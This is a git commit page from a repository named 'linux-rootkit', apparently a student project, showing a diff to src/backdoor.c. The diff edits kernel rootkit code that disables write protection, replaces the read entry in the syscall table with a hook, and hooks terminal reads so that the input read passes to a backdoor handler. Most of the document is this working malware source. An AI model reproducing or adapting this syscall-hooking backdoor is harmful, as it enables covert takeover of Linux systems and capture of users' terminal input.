linux-rootkit

commit 6922315e05e92644d7efc3961ae581ed380b4589
parent 9e8b827077e1f30478c22730330af2bf34cd123c
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 30 Nov 2020 03:43:55 +0100

fixes switch bug

Diffstat:
M
src/backdoor.c
 | 
38
++++++++++++++++----------------------

1 file changed, 16 insertions(+), 22 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -14,11 +14,9 @@ ssize_t (*current_tty_read)(struct file *, char *, size_t, loff_t *);
 void
 backdoor_read(void)
 {
-    if (atomic_inc_return(&read_install_count) == 1) {
-        disable_protection();
-        sys_calls[__NR_read] = (void *)g7_read;
-        enable_protection();
-    }
+    disable_protection();
+    sys_calls[__NR_read] = (void *)g7_read;
+    enable_protection();
 }
 
 void
@@ -33,16 +31,6 @@ backdoor_tty(void)
     }
 }
 
-ssize_t
-g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
-{
-    atomic_inc(&tty_read_count);
-    ssize_t ret = current_tty_read(file, buf, count, off);
-    handle_pid(current->pid, buf, count);
-    atomic_dec(&tty_read_count);
-    return ret;
-}
-
 void
 unbackdoor(void)
 {
@@ -59,20 +47,26 @@ unbackdoor(void)
         }
 
         current_tty_read = NULL;
-    }
-
-    if (sys_read) {
+    } else if (sys_read) {
         disable_protection();
         sys_calls[__NR_read] = (void *)sys_read;
         enable_protection();
 
-        //Sleeping here is very important, as without it
-        //we would stall the CPU..
+        // Sleeping here is very important, as without it
+        // we would stall the CPU..
         while ((cur = atomic_read(&read_count)) > 0) {
             DEBUG_INFO("Waiting for %d tasks", cur);
             msleep(250);
         }
-
-        sys_read = NULL;
     }
 }
+
+ssize_t
+g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
+{
+    atomic_inc(&tty_read_count);
+    ssize_t ret = current_tty_read(file, buf, count, off);
+    handle_pid(current->pid, buf, count);
+    atomic_dec(&tty_read_count);
+    return ret;
+}